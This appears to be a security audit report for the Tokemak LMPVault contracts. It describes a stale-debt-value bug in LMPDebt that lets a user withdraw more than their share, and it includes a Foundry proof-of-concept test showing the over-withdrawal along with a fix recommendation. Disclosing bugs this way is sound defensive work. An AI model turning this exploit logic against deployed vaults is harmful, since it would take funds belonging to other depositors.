Formal Magenta Okapi

high

# Users will receive more funds than they expect
## Summary
This issue is a result of using an outdated value in [this line](https://github.com/sherlock-audit/2023-06-tokemak/blob/main/v2-core-audit-2023-07-14/src/vault/libs/LMPDebt.sol#L295)
 
## Vulnerability Detail

In case the user asks to `withdraw()` and the `totalIdle` isn't enough. `LMPVault._withdraw()` needs to sub-call the DV `DestinationVault.sol` to withdraw some LPs (from e.g.AURA, CONVEX...). `sharesToBurn` is the amount that needs to be pulled from DV is computed by `LMPDebt._calcUserWithdrawSharesToBurn()`. `totalDebtBurn` is how much we need to decrease `totalDebt`. 

```solidity
File: LMPDebt.sol

290:         sharesToBurn = currentDvShares.mulDiv(maxAssetsToPull, currentDvDebtValue, Math.Rounding.Up);
...
295:         totalDebtBurn = cachedCurrentDebt.mulDiv(sharesToBurn, cachedDvShares, Math.Rounding.Up);
```

`sharesToBurn` is always calculated with a new fresh LP price, however, `totalDebtBurn` use `destInfo.currentDebt` which could be an outdated value, and as a result of that `totalDebtBurn` will end up with a wrong value.  

A malicious user could take that as an advantage to withdraw more than he deserves. check the POC_12 for a step-by-step simulation.

## Impact
- It is possible for malicious users to steal funds belonging to other users.

## Code Snippet

Please copy the following POC in `LMPVault-Withdraw.t.sol`
```solidity
  function test_POC_12() public {
        address user_01 = vm.addr(101);
        address user_02 = vm.addr(102);
        address solver = vm.addr(23_423_434);
        vm.label(user_01, "User_01");
        vm.label(user_02, "User_02");
        vm.label(solver, "solver");
        _accessController.grantRole(Roles.SOLVER_ROLE, solver);
        _accessController.grantRole(Roles.LMP_FEE_SETTER_ROLE, address(this));


        //User_01 `deposit()`
        vm.startPrank(user_01);
        _asset.mint(user_01, 500);
        _asset.approve(address(_lmpVault), 500);
        _lmpVault.deposit(500, user_01);
        vm.stopPrank();

        //User_02 `deposit()`
        vm.startPrank(user_02);
        _asset.mint(user_02, 500);
        _asset.approve(address(_lmpVault), 500);
        _lmpVault.deposit(500, user_02);
        vm.stopPrank();

        // Token prices
        // _asset - 1:1 ETH
        // _underlyer1 - 1:2 ETH
        // _underlyer2 - 1:1 ETH

        // Rebalance 500 baseAsset for 250 underlyerOne+destVaultOne
        _underlyerOne.mint(solver, 250);
        _underlyerTwo.mint(solver, 250);

        vm.startPrank(solver);
        _underlyerOne.approve(address(_lmpVault), 250);
        _lmpVault.rebalance(
            address(_destVaultOne),
            address(_underlyerOne), // tokenIn
            250,
            address(0), // destinationOut, none when sending out baseAsset
            address(_asset), // baseAsset, tokenOut
            500
        );
        _underlyerTwo.approve(address(_lmpVault), 250);
        _lmpVault.rebalance(
            address(_destVaultTwo),
            address(_underlyerTwo), // tokenIn
            250,
            address(0), // destinationOut, none when sending out baseAsset
            address(_asset), // baseAsset, tokenOut
            250
        );
        vm.stopPrank();

        // At this point we've transferred 750 idle out, which means we
        // should have 250 left
        assertEq(_lmpVault.totalIdle(), 250);
        assertEq(_lmpVault.totalDebt(), 750);

        
        // Underlyer1 is currently worth 2 ETH a piece
        // Lets update the price to 1.5 ETH and trigger a debt reporting
        // and verify our totalDebt and asset conversions match the drop in price

        _mockRootPrice(address(_underlyerOne), 15e17);

        // saves the state
        uint256 snapshot = vm.snapshot();

        /********************************/
        /*        scenario_A            */
        /*first withdraw then redeem all*/
        /********************************/
        //User_01 `withdraw()` 271 base asset
        vm.startPrank(user_01);
        _lmpVault.withdraw(271, user_01, user_01);
        vm.stopPrank();

        vm.startPrank(user_01);
        _lmpVault.redeem(_lmpVault.balanceOf(user_01), user_01, user_01);
        uint256 user_01_balance_scenario_A = _asset.balanceOf(user_01);
        console.log("user_01 balance after one withdraw then redeem all shares: ",user_01_balance_scenario_A);
        vm.stopPrank();

        /********************************/
        /*        scenario_B            */
        /*       just redeem all        */
        /********************************/
        // restores the state
        vm.revertTo(snapshot); 
        assertEq(_lmpVault.totalIdle(), 250);
        assertEq(_lmpVault.totalDebt(), 750);
     
        vm.startPrank(user_01);
        _lmpVault.redeem(_lmpVault.balanceOf(user_01), user_01, user_01);
        uint256 user_01_balance_scenario_B = _asset.balanceOf(user_01);
        console.log("user_01 balance If he redeem all shares one time: ",user_01_balance_scenario_B );
        vm.stopPrank();
    }
```
## Tool used

Manual Review - Foundry

## Recommendation

invoke `updateDebtReporting()` before the  withdraw